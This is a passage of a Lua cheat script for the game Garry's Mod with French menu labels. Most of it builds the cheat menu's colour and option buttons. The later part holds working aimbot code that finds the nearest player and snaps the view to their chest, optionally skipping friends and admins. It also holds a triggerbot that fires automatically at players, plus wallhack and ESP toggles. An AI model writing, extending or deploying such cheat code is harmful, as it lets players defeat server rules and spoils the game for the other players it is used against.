3335draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
3336surface.SetDrawColor(255, 255, 255 ,100)
3337surface.DrawOutlinedRect(0, 0, w, h)
3338else
3339draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
3340surface.SetDrawColor(255, 255, 255 ,100)
3341surface.DrawOutlinedRect(0, 0, w, h)
3342end
3343OptionsColorBlueMENU.DoClick = function()
3344LocalPlayer():ConCommand("fiji_menu_princ_color 104")
3345LocalPlayer():ConCommand("fiji_menu_sec_color 102")
3346LocalPlayer():ConCommand("fiji_menu_th_color 255")
3347LocalPlayer():ConCommand("fiji_style_menu 0")
3348surface.PlaySound( fiji_evilhover )
3349
3350end
3351end
3352local OptionsColorPurpleMENU = vgui.Create( "DButton", ColorMenu )
3353OptionsColorPurpleMENU:SetPos( 114,20 )
3354OptionsColorPurpleMENU:SetSize( 20, 20 )
3355OptionsColorPurpleMENU:SetText( " " )
3356OptionsColorPurpleMENU.Paint = function( self, w, h )
3357if self:IsHovered() then
3358draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
3359surface.SetDrawColor(255, 255, 255 ,100)
3360surface.DrawOutlinedRect(0, 0, w, h)
3361else
3362draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
3363surface.SetDrawColor(255, 255, 255 ,100)
3364surface.DrawOutlinedRect(0, 0, w, h)
3365end
3366OptionsColorPurpleMENU.DoClick = function()
3367LocalPlayer():ConCommand("fiji_menu_princ_color 168")
3368LocalPlayer():ConCommand("fiji_menu_sec_color 102")
3369LocalPlayer():ConCommand("fiji_menu_th_color 255")
3370LocalPlayer():ConCommand("fiji_style_menu 0")
3371surface.PlaySound( fiji_evilhover )
3372
3373end
3374end
3375local OptionsColorPinkMENU = vgui.Create( "DButton", ColorMenu )
3376OptionsColorPinkMENU:SetPos( 136,20 )
3377OptionsColorPinkMENU:SetSize( 20, 20 )
3378OptionsColorPinkMENU:SetText( " " )
3379OptionsColorPinkMENU.Paint = function( self, w, h )
3380if self:IsHovered() then
3381draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
3382surface.SetDrawColor(255, 255, 255 ,100)
3383surface.DrawOutlinedRect(0, 0, w, h)
3384else
3385draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
3386surface.SetDrawColor(255, 255, 255 ,100)
3387surface.DrawOutlinedRect(0, 0, w, h)
3388end
3389OptionsColorPinkMENU.DoClick = function()
3390LocalPlayer():ConCommand("fiji_menu_princ_color 255")
3391LocalPlayer():ConCommand("fiji_menu_sec_color 102")
3392LocalPlayer():ConCommand("fiji_menu_th_color 235")
3393LocalPlayer():ConCommand("fiji_style_menu 0")
3394surface.PlaySound( fiji_evilhover )
3395
3396end
3397end
3398local OptionsColorBlackMENU = vgui.Create( "DButton", ColorMenu )
3399OptionsColorBlackMENU:SetPos( 158,20 )
3400OptionsColorBlackMENU:SetSize( 20, 20 )
3401OptionsColorBlackMENU:SetText( " " )
3402OptionsColorBlackMENU.Paint = function( self, w, h )
3403if self:IsHovered() then
3404draw.RoundedBox(0,0,0,w,h,Color(45, 45, 45))
3405surface.SetDrawColor(255, 255, 255 ,100)
3406surface.DrawOutlinedRect(0, 0, w, h)
3407else
3408draw.RoundedBox( 0, 0, 0, w, h, Color(60, 60, 60))
3409surface.SetDrawColor(255, 255, 255 ,100)
3410surface.DrawOutlinedRect(0, 0, w, h)
3411end
3412OptionsColorBlackMENU.DoClick = function()
3413LocalPlayer():ConCommand("fiji_menu_princ_color 60")
3414LocalPlayer():ConCommand("fiji_menu_sec_color 60")
3415LocalPlayer():ConCommand("fiji_menu_th_color 60")
3416LocalPlayer():ConCommand("fiji_style_menu 0")
3417surface.PlaySound( fiji_evilhover )
3418
3419end
3420end
3421local OptionsColormultiMENU = vgui.Create( "DButton", ColorMenu )
3422OptionsColormultiMENU:SetPos( 180,20 )
3423OptionsColormultiMENU:SetSize( 20, 20 )
3424OptionsColormultiMENU:SetText( " " )
3425OptionsColormultiMENU.Paint = function( self, w, h )
3426if self:IsHovered() then
3427draw.RoundedBox(0,0,0,w,h,HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3428surface.SetDrawColor(255, 255, 255 ,100)
3429surface.DrawOutlinedRect(0, 0, w, h)
3430else
3431draw.RoundedBox( 0, 0, 0, w, h, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3432surface.SetDrawColor(255, 255, 255 ,100)
3433surface.DrawOutlinedRect(0, 0, w, h)
3434end
3435OptionsColormultiMENU.DoClick = function()
3436LocalPlayer():ConCommand("fiji_style_menu 1")
3437surface.PlaySound( fiji_evilhover )
3438
3439end
3440end
3441local OptionsColorhackMENU = vgui.Create( "DButton", ColorMenu )
3442OptionsColorhackMENU:SetPos( 202,20 )
3443OptionsColorhackMENU:SetSize( 20, 20 )
3444OptionsColorhackMENU:SetText( " " )
3445OptionsColorhackMENU.Paint = function( self, w, h )
3446if self:IsHovered() then
3447draw.RoundedBox(0,0,0,w,h,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
3448surface.SetDrawColor(255, 255, 255 ,100)
3449surface.DrawOutlinedRect(0, 0, w, h)
3450else
3451draw.RoundedBox( 0, 0, 0, w, h, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
3452surface.SetDrawColor(255, 255, 255 ,100)
3453surface.DrawOutlinedRect(0, 0, w, h)
3454end
3455OptionsColorhackMENU.DoClick = function()
3456LocalPlayer():ConCommand("fiji_style_menu 2")
3457surface.PlaySound( fiji_evilhover )
3458
3459end
3460end
3461
3462local Optionsphysicspeed = vgui.Create( "DButton", pContent)
3463Optionsphysicspeed:SetPos( 303, 348)
3464Optionsphysicspeed:SetSize( 50, 20 )
3465Optionsphysicspeed:SetTextColor( Color( 255, 255, 255, 255 ) )
3466Optionsphysicspeed:SetText( "Rapide" )
3467Optionsphysicspeed.Paint = function( self, w, h )
3468draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3469if self:IsHovered() then
3470Optionsphysicspeed:SetTextColor( Color( 255, 255, 255, 255 ) )
3471draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 20))
3472else
3473Optionsphysicspeed:SetTextColor( Color( 255, 255, 255, 100 ) )
3474draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3475end
3476Optionsphysicspeed.OnCursorEntered = function(self)
3477surface.PlaySound( fiji_evilhover )
3478end
3479Optionsphysicspeed.DoClick = function()
3480LocalPlayer():ConCommand("physgun_wheelspeed 1500")
3481surface.PlaySound( fiji_evilclick )
3482end
3483end
3484
3485local Optionsphysicmedium = vgui.Create( "DButton", pContent)
3486Optionsphysicmedium:SetPos( 243, 348)
3487Optionsphysicmedium:SetSize( 50, 20 )
3488Optionsphysicmedium:SetTextColor( Color( 255, 255, 255, 255 ) )
3489Optionsphysicmedium:SetText( "Moyen" )
3490Optionsphysicmedium.Paint = function( self, w, h )
3491draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3492if self:IsHovered() then
3493Optionsphysicmedium:SetTextColor( Color( 255, 255, 255, 255 ) )
3494draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 20))
3495else
3496Optionsphysicmedium:SetTextColor( Color( 255, 255, 255, 100 ) )
3497draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3498end
3499Optionsphysicmedium.OnCursorEntered = function(self)
3500surface.PlaySound( fiji_evilhover )
3501end
3502Optionsphysicmedium.DoClick = function()
3503LocalPlayer():ConCommand("physgun_wheelspeed 600")
3504surface.PlaySound( fiji_evilclick )
3505end
3506end
3507
3508local Optionsphysiclow = vgui.Create( "DButton", pContent)
3509Optionsphysiclow:SetPos( 180, 348)
3510Optionsphysiclow:SetSize( 50, 20 )
3511Optionsphysiclow:SetTextColor( Color( 255, 255, 255, 255 ) )
3512Optionsphysiclow:SetText( "Lent" )
3513Optionsphysiclow.Paint = function( self, w, h )
3514draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3515if self:IsHovered() then
3516Optionsphysiclow:SetTextColor( Color( 255, 255, 255, 255 ) )
3517draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 20))
3518else
3519Optionsphysiclow:SetTextColor( Color( 255, 255, 255, 100 ) )
3520draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3521end
3522Optionsphysiclow.OnCursorEntered = function(self)
3523surface.PlaySound( fiji_evilhover )
3524end
3525Optionsphysiclow.DoClick = function()
3526LocalPlayer():ConCommand("physgun_wheelspeed 20")
3527surface.PlaySound( fiji_evilclick )
3528end
3529end
3530
3531local OptionsColorDEFAULT = vgui.Create( "DButton", pContent)
3532OptionsColorDEFAULT:SetPos( 243, 83)
3533OptionsColorDEFAULT:SetSize( 50, 20 )
3534OptionsColorDEFAULT:SetTextColor( Color( 255, 255, 255, 255 ) )
3535OptionsColorDEFAULT:SetText( "Default" )
3536OptionsColorDEFAULT.Paint = function( self, w, h )
3537draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3538if self:IsHovered() then
3539OptionsColorDEFAULT:SetTextColor( Color( 255, 255, 255, 255 ) )
3540draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 20))
3541else
3542OptionsColorDEFAULT:SetTextColor( Color( 255, 255, 255, 100 ) )
3543draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
3544end
3545OptionsColorDEFAULT.OnCursorEntered = function(self)
3546surface.PlaySound( fiji_evilhover )
3547end
3548OptionsColorDEFAULT.DoClick = function()
3549LocalPlayer():ConCommand("fiji_menu_princ_color 60")
3550LocalPlayer():ConCommand("fiji_menu_sec_color 60")
3551LocalPlayer():ConCommand("fiji_menu_th_color 60")
3552LocalPlayer():ConCommand("fiji_style_menu 3")
3553surface.PlaySound( fiji_evilclick )
3554end
3555end
3556
3557local Resetb = vgui.Create( "DButton", pContent)
3558Resetb:SetPos( 207, 123)
3559Resetb:SetSize( 120, 35 )
3560Resetb:SetTextColor( Color( 255, 255, 255, 255 ) )
3561Resetb:SetText( "reset menu color" )
3562Resetb.Paint = function( self, w, h )
3563draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
3564if self:IsHovered() then
3565Resetb:SetTextColor( Color( 255, 255, 255, 255 ) )
3566draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
3567aBorder = Color( 110,110,110, 80 )
3568else
3569Resetb:SetTextColor( Color( 255, 255, 255, 80 ) )
3570draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3571aBorder = Color( 110,110,110, 0 )
3572end
3573surface.SetDrawColor( aBorder )
3574surface.DrawOutlinedRect( 0, 0, w, h )
3575Resetb.OnCursorEntered = function(self)
3576surface.PlaySound( "mat/evilhover.wav" )
3577end
3578Resetb.DoClick = function()
3579NOTIFICATION("Menu réinitialiser avec sucès")
3580surface.PlaySound( fiji_evilclick )
3581LocalPlayer():ConCommand("fiji_menu_princ_color 50")
3582LocalPlayer():ConCommand("fiji_menu_sec_color 50")
3583LocalPlayer():ConCommand("fiji_menu_th_color 50")
3584LocalPlayer():ConCommand("fiji_style_menu 3")
3585LocalPlayer():ConCommand("fiji_principal_color 255")
3586LocalPlayer():ConCommand("fiji_secondary_color 0")
3587LocalPlayer():ConCommand("fiji_third_color 0")
3588LocalPlayer():ConCommand("fiji_principal_color_infos 255")
3589LocalPlayer():ConCommand("fiji_secondary_color_infos 255")
3590LocalPlayer():ConCommand("fiji_third_color_infos 255")
3591LocalPlayer():ConCommand("fiji_principal_color_ent 255")
3592LocalPlayer():ConCommand("fiji_secondary_color_ent 0")
3593LocalPlayer():ConCommand("fiji_third_color_ent 0")
3594LocalPlayer():ConCommand("fiji_principal_color_props 255")
3595LocalPlayer():ConCommand("fiji_secondary_color_props 0")
3596LocalPlayer():ConCommand("fiji_third_color_props 0")
3597LocalPlayer():ConCommand("BD_hitman_enable 1")
3598LocalPlayer():ConCommand("BD_hitman_enable_ent 0")
3599LocalPlayer():ConCommand("BD_hitman_enable_props 0")
3600LocalPlayer():ConCommand("BD_hitman_type 1")
3601LocalPlayer():ConCommand("BD_hitman_infos_name 1")
3602LocalPlayer():ConCommand("BD_hitman_infos_weapons 1")
3603LocalPlayer():ConCommand("BD_hitman_infos_health 1")
3604LocalPlayer():ConCommand("BD_hitman_distance 7000")
3605LocalPlayer():ConCommand("BD_hitman_distance_infos 800")
3606LocalPlayer():ConCommand("BD_hitman_distance_ent 800")
3607LocalPlayer():ConCommand("fiji_aimbot_active 0")
3608LocalPlayer():ConCommand("fiji_aimbot_friends 0")
3609LocalPlayer():ConCommand("fiji_aimbot_team 0")
3610LocalPlayer():ConCommand("fiji_aimbot_admin 0")
3611LocalPlayer():ConCommand("fiji_aimbot_propa 0")
3612LocalPlayer():ConCommand("fiji_aimbot_wall 0")
3613LocalPlayer():ConCommand("fiji_aimbot_fov 180")
3614LocalPlayer():ConCommand("fiji_aimbot_dist 1500")
3615LocalPlayer():ConCommand("fiji_triggerbot_active 0")
3616LocalPlayer():ConCommand("fiji_triggerbot_opti 0")
3617LocalPlayer():ConCommand("fiji_triggerbot_real 0")
3618LocalPlayer():ConCommand("fiji_triggerbot_team 0")
3619LocalPlayer():ConCommand("fiji_triggerbot_wall 0")
3620LocalPlayer():ConCommand("fiji_triggerbot_friends 0")
3621LocalPlayer():ConCommand("fiji_exist_contentevil 1")
3622LocalPlayer():ConCommand("fiji_aimbot_key KEY_W")
3623LocalPlayer():ConCommand("fiji_aimbot_relock 0")
3624LocalPlayer():ConCommand("fiji_aimbot_attack chest")
3625LocalPlayer():ConCommand("fiji_exist_contentevil 1")
3626end
3627
3628
3629
3630end -- enf function options
3631
3632end
3633function BD:Aimbot( pContent )
3634
3635local BDMenuAim = vgui.Create("DPanel", pContent)
3636BDMenuAim:SetSize( 539, 388 )
3637BDMenuAim:SetPos( 0, 0 )
3638BDMenuAim.Paint = function( self, w, h)
3639if fiji_style_menu:GetInt() == 2 then
3640draw.RoundedBox( 0, 0, 0, 2, h - 238, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
3641draw.RoundedBox( 0, 0, 194, 2, h - 190, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
3642
3643elseif fiji_style_menu:GetInt() == 1 then
3644draw.RoundedBox( 0, 0, 0, 2, h - 238, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
3645draw.RoundedBox( 0, 0, 194, 2, h - 190, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
3646
3647
3648else
3649draw.RoundedBox( 0, 0, 0, 2, h - 238, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
3650draw.RoundedBox( 0, 0, 194, 2, h - 190, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
3651end
3652
3653
3654draw.RoundedBox( 200, 382, 10, 2, h - 216, Color( 50,50,50, 255 ) )
3655draw.RoundedBox( 200, 149, 10, 2, h - 216, Color( 50,50,50, 255 ) )
3656draw.RoundedBox( 0, 151, 180, w - 307, 2, Color( 50,50,50, 255 ) )
3657draw.RoundedBox( 0, 151, 10, w - 448, 2, Color( 50,50,50, 255 ) )
3658draw.RoundedBox( 0, 294, 10, w - 451, 2, Color( 50,50,50, 255 ) )
3659draw.SimpleText("Aimbot", "evil_home3", 248, 10, Color(100, 100, 100,255), 0, 1)
3660draw.SimpleText("Cibles", "evil_home3", 250, 80, Color(100, 100, 100,255), 0, 1)
3661--draw.SimpleText("Touche Aimbot : B", "evil_home3", 220, 150, Color(100, 100, 100,255), 0, 1)
3662
3663
3664
3665draw.RoundedBox( 200, 382, 205, 2, h - 251, Color( 50,50,50, 255 ) )
3666draw.RoundedBox( 200, 149, 205, 2, h - 251, Color( 50,50,50, 255 ) )
3667draw.RoundedBox( 0, 151, 340, w - 307, 2, Color( 50,50,50, 255 ) )
3668draw.RoundedBox( 0, 151, 205, w - 455, 2, Color( 50,50,50, 255 ) )
3669draw.RoundedBox( 0, 300, 205, w - 456, 2, Color( 50,50,50, 255 ) )
3670draw.SimpleText("Triggerbot", "evil_home3", 239, 205, Color(100, 100, 100,255), 0, 1)
3671draw.SimpleText("Cibles", "evil_home3", 250, 285, Color(100, 100, 100,255), 0, 1)
3672draw.SimpleText("Touche Aimbot", "evil_homemini", 234, 352, Color(100, 100, 100,255), 0, 1)
3673
3674
3675end
3676
3677local aimbinder = vgui.Create( "DBinder", pContent )
3678aimbinder:SetSize( 234, 25 )
3679aimbinder:SetPos( 150,360 )
3680aimbinder:SetConVar( "fiji_aimbot_key" )
3681function aimbinder:Paint( w, h )
3682if self:IsHovered() then
3683draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
3684aBorder = Color( 255,110,110, 150 )
3685else
3686draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3687aBorder = Color( 250,110,110, 50 )
3688end
3689aimbinder.OnCursorEntered = function(self)
3690surface.PlaySound( fiji_evilhover )
3691
3692end
3693surface.SetDrawColor( aBorder )
3694surface.DrawOutlinedRect( 0, 0, w, h )
3695
3696
3697end
3698
3699
3700local pPAim = vgui.Create( "DPanel", pContent )
3701pPAim:SetSize( 110, 35 )
3702pPAim:SetPos( 154, 135 )
3703function pPAim:Paint( w, h )
3704draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3705draw.SimpleText( "♦", "evil_home5", 14, h / 2 + 7, color_white, 0, 1 )
3706draw.SimpleText( "DISTANCE CIBLES", "evil_home5", 10, 8, color_white, 0, 1 )
3707
3708end
3709local pDistanceAIM = vgui.Create( "DNumSlider", pContent )
3710pDistanceAIM:SetPos( 107, 135 )
3711pDistanceAIM:SetSize( 180, 50 )
3712pDistanceAIM:SetText( "" )
3713pDistanceAIM:SetMin( 100 )
3714pDistanceAIM:SetMax( 3000 )
3715pDistanceAIM:SetDecimals( 0 )
3716pDistanceAIM:SetValue( fiji_aimbot_dist:GetInt() or 200 )
3717pDistanceAIM.Scratch:SetVisible( false )
3718pDistanceAIM.TextArea:SetTextColor( color_white )
3719function pDistanceAIM:OnValueChanged( val )
3720RunConsoleCommand( 'fiji_aimbot_dist', tonumber( self:GetValue() ) )
3721end
3722function pDistanceAIM.Slider:Paint(w, h)
3723surface.SetDrawColor(0, 0, 0, 255)
3724surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
3725if fiji_style_menu:GetInt() == 2 then
3726surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
3727surface.DrawRect(0, 21, barw, h / 5)
3728
3729elseif fiji_style_menu:GetInt() == 1 then
3730surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3731surface.DrawRect(0, 21, barw, h / 5)
3732
3733else
3734surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
3735surface.DrawRect(0, 21, barw, h / 5)
3736end
3737end
3738function pDistanceAIM:SetHeight(tall)
3739self.Slider.Knob:SetHeight(tall / 2 + 4)
3740DSlider.SetHeight(self, tall)
3741pDistanceAIM.SetTall = pDistanceAIM.SetHeight
3742pDistanceAIM.Slider.Knob:SetTall(5)
3743end
3744function pDistanceAIM.Slider.Knob:Paint(w, h)
3745derma.SkinHook( "Paint", "Button", self, 0, 0 )
3746end
3747
3748
3749local pPAim2 = vgui.Create( "DPanel", pContent )
3750pPAim2:SetSize( 110, 35 )
3751pPAim2:SetPos( 269, 135 )
3752function pPAim2:Paint( w, h )
3753draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3754draw.SimpleText( "♦", "evil_home5", 14, h / 2 + 7, color_white, 0, 1 )
3755draw.SimpleText( "CHAMP DE VISION", "evil_home5", 10, 8, color_white, 0, 1 )
3756
3757end
3758local pDistanceAIMb = vgui.Create( "DNumSlider", pContent )
3759pDistanceAIMb:SetPos( 220, 135 )
3760pDistanceAIMb:SetSize( 180, 50 )
3761pDistanceAIMb:SetText( "" )
3762pDistanceAIMb:SetMin( 5 )
3763pDistanceAIMb:SetMax( 180 )
3764pDistanceAIMb:SetDecimals( 0 )
3765pDistanceAIMb:SetValue( fiji_aimbot_fov:GetInt() or 200 )
3766pDistanceAIMb.Scratch:SetVisible( false )
3767pDistanceAIMb.TextArea:SetTextColor( color_white )
3768function pDistanceAIMb:OnValueChanged( val )
3769RunConsoleCommand( 'fiji_aimbot_fov', tonumber( self:GetValue() ) )
3770end
3771function pDistanceAIMb.Slider:Paint(w, h)
3772surface.SetDrawColor(0, 0, 0, 255)
3773surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
3774if fiji_style_menu:GetInt() == 2 then
3775surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
3776surface.DrawRect(0, 21, barw, h / 5)
3777
3778elseif fiji_style_menu:GetInt() == 1 then
3779surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3780surface.DrawRect(0, 21, barw, h / 5)
3781
3782else
3783surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
3784surface.DrawRect(0, 21, barw, h / 5)
3785end
3786end
3787function pDistanceAIMb:SetHeight(tall)
3788self.Slider.Knob:SetHeight(tall / 2 + 4)
3789DSlider.SetHeight(self, tall)
3790pDistanceAIMb.SetTall = pDistanceAIMb.SetHeight
3791pDistanceAIMb.Slider.Knob:SetTall(5)
3792end
3793function pDistanceAIMb.Slider.Knob:Paint(w, h)
3794derma.SkinHook( "Paint", "Button", self, 0, 0 )
3795end
3796
3797local tblAdminGroups = {
3798["superadmin"] = true,
3799["admin"] = true,
3800["administrator"] = true,
3801["administrateur"] = true,
3802["moderateur"] = true,
3803["modérateur"] = true,
3804["moderateur test"] = true,
3805["moderateur-test"] = true,
3806["modérateur test"] = true,
3807["modérateur-test"] = true
3808}
3809
3810
3811local pTarget
3812
3813function findNearestPlayer()
3814local intDist = math.huge
3815pTarget = pTarget or nil
3816local angNew = LocalPlayer():GetAngles()
3817for k, v in pairs( player.GetAll() ) do
3818-- Cannot self-aim
3819if v == LocalPlayer() then continue end
3820-- Die
3821if not v:Alive() then continue end
3822-- God
3823if v:HasGodMode() then continue end
3824-- Same Team
3825if fiji_aimbot_team:GetInt() == 0 && v:Team() == LocalPlayer():Team() then continue end
3826-- Aim Admins
3827if fiji_aimbot_admin:GetInt() == 0 && tblAdminGroups[v:GetUserGroup()] then continue end
3828-- Max dist
3829if v:GetPos():DistToSqr( LocalPlayer():GetPos() ) > fiji_aimbot_dist:GetInt() ^ 2 then continue end
3830-- Steam Friend
3831if fiji_aimbot_friends:GetInt() == 0 && v:GetFriendStatus() == "friend" then continue end
3832
3833-- Check Nearest
3834local newdist = LocalPlayer():GetPos():DistToSqr( v:GetPos() )
3835if newdist < intDist then
3836
3837-- Aim World
3838if fiji_aimbot_wall:GetInt() == 0 then
3839local tr = util.TraceHull( {
3840start = LocalPlayer():EyePos(),
3841endpos = v:EyePos(),
3842maxs = math.huge,
3843mins = 10,
3844filter = v
3845} )
3846if tr.Hit then continue end
3847end
3848-- if fiji_aimbot_wall:GetInt() == 0 && tr.Hit then continue end
3849
3850local eyes = v:LookupAttachment( fiji_aimbot_attack:GetString() )
3851eyes = ( eyes && v:GetAttachment( eyes ).Pos || v:LocalToWorld( v:OBBCenter() ) )
3852
3853local intDiff = math.AngleDifference( ( eyes - LocalPlayer():EyePos() ):Angle().yaw, LocalPlayer():GetAngles().yaw )
3854intDiff = math.abs( intDiff )
3855
3856if intDiff > fiji_aimbot_fov:GetInt() then continue end
3857
3858
3859-- Define New
3860pTarget = v
3861intDist = newdist
3862end
3863end
3864
3865return pTarget or nil
3866end
3867
3868hook.Add( "PlayerButtonDown", "CPaCoolHack:PlayerButtonDown", function( pPlayer, button )
3869if gui.IsGameUIVisible() then return end
3870if fiji_aimbot_active:GetInt() != 1 then return end
3871if button != GetConVarNumber( "fiji_aimbot_key" ) then return end
3872
3873pTarget = findNearestPlayer()
3874end)
3875
3876hook.Add( "PlayerButtonUp", "CPaCoolHack:PlayerButtonUp", function( pPlayer, button )
3877if button != GetConVarNumber( "fiji_aimbot_key" ) then return end
3878
3879pTarget = nil
3880end)
3881
3882hook.Add( "Think", "dkzaodjzaodjza", function()
3883if gui.IsGameUIVisible() then return end
3884if fiji_aimbot_active:GetInt() != 1 then return end
3885if not input.IsKeyDown( GetConVarNumber( "fiji_aimbot_key" ) ) then return end
3886
3887-- Nobody Found
3888if not pTarget || pTarget == nil then return end
3889if not IsValid( pTarget ) || not pTarget:IsPlayer() || not pTarget:Alive() then
3890if fiji_aimbot_relock:GetInt() == 1 then
3891pTarget = findNearestPlayer()
3892else
3893pTarget = nil
3894end
3895return
3896end
3897
3898-- Define New
3899local eyes = pTarget:LookupAttachment( "chest" ) -- "chest" = corps si tu veux
3900eyes = ( eyes && pTarget:GetAttachment( eyes ).Pos || pTarget:LocalToWorld( pTarget:OBBCenter() ) )
3901angNew = ( eyes - LocalPlayer():EyePos() ):Angle()
3902-- Aim
3903LocalPlayer():SetEyeAngles( angNew )
3904end)
3905
3906local tblConVarsOptions = {
3907{ title = "Activé", cv = "aimbot_enabled" },
3908{ title = "Travers Mur", cv = "aimbot_wall" },
3909{ title = "Amis Steam", cv = "aimbot_friends" },
3910{ title = "Même team", cv = "aimbot_team" },
3911{ title = "Administrateurs", cv = "aimbot_admins" },
3912}
3913
3914local ply = LocalPlayer()
3915
3916hook.Add( "Think", "Triggerbot", function()
3917local EntTrace = ply:GetEyeTrace().Entity
3918for k,v in pairs (player.GetAll()) do
3919if fiji_triggerbot_active:GetInt() == 1 and ply:Alive() and ply:GetActiveWeapon():IsValid() and ( EntTrace:IsPlayer() ) then
3920if fiji_triggerbot_friends:GetInt() == 0 and EntTrace:IsPlayer() and EntTrace:GetFriendStatus() == "friend" then return end
3921if fiji_triggerbot_team:GetInt() == 0 and EntTrace:IsPlayer() and EntTrace:Team() == ply:Team() then return end
3922if fiji_triggerbot_wall:GetInt() == 0 and tblAdminGroups[v:GetUserGroup()] then continue else end
3923local pos = LocalPlayer():GetShootPos()
3924local ang = LocalPlayer():GetAimVector()
3925local tracedata = {}
3926local td = {start = v:GetShootPos(), endpos = v:GetShootPos() + v:EyeAngles():Forward() * 65535, filter = v, mask = MASK_SHOT}
3927local tr = util.TraceLine(td)
3928tracedata.start = pos
3929tracedata.endpos = pos+(ang*9999999999999)
3930local trace = util.TraceLine(tracedata)
3931if(trace.HitNonWorld) then
3932if tr.Entity:IsPlayer() then
3933RunConsoleCommand("+attack")
3934timer.Simple(0.000000001, function() RunConsoleCommand("-attack") end)
3935end
3936end
3937end
3938end
3939end)
3940
3941
3942
3943
3944
3945
3946
3947local btnaimbotact = BD:CreateBtn( "Activé", 165, 30, 65, 25, pContent )
3948function btnaimbotact:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_aimbot_active:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_active", 0 ) else RunConsoleCommand( "fiji_aimbot_active", 1 ) end end
3949function btnaimbotact:Think() if fiji_aimbot_active:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3950
3951local btnaimbotact = BD:CreateBtn( "Wallhack", 235, 30, 65, 25, pContent )
3952function btnaimbotact:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_aimbot_wall:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_wall", 0 ) else RunConsoleCommand( "fiji_aimbot_wall", 1 ) end end
3953function btnaimbotact:Think() if fiji_aimbot_wall:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3954
3955local btnaimbotact = BD:CreateBtn( "Cible Suiv.", 305, 30, 65, 25, pContent )
3956function btnaimbotact:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_aimbot_relock:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_relock", 0 ) else RunConsoleCommand( "fiji_aimbot_relock", 1 ) end end
3957function btnaimbotact:Think() if fiji_aimbot_relock:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3958
3959local btnaimbotact = BD:CreateBtn( "Amis", 235, 95, 65, 25, pContent )
3960function btnaimbotact:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_aimbot_friends:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_friends", 0 ) else RunConsoleCommand( "fiji_aimbot_friends", 1 ) end end
3961function btnaimbotact:Think() if fiji_aimbot_friends:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3962
3963local btnaimbotact = BD:CreateBtn( "Admin", 165, 95, 65, 25, pContent )
3964function btnaimbotact:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_aimbot_admin:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_admin", 0 ) else RunConsoleCommand( "fiji_aimbot_admin", 1 ) end end
3965function btnaimbotact:Think() if fiji_aimbot_admin:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3966
3967local btnaimbotact = BD:CreateBtn( "Team", 305, 95, 65, 25, pContent )
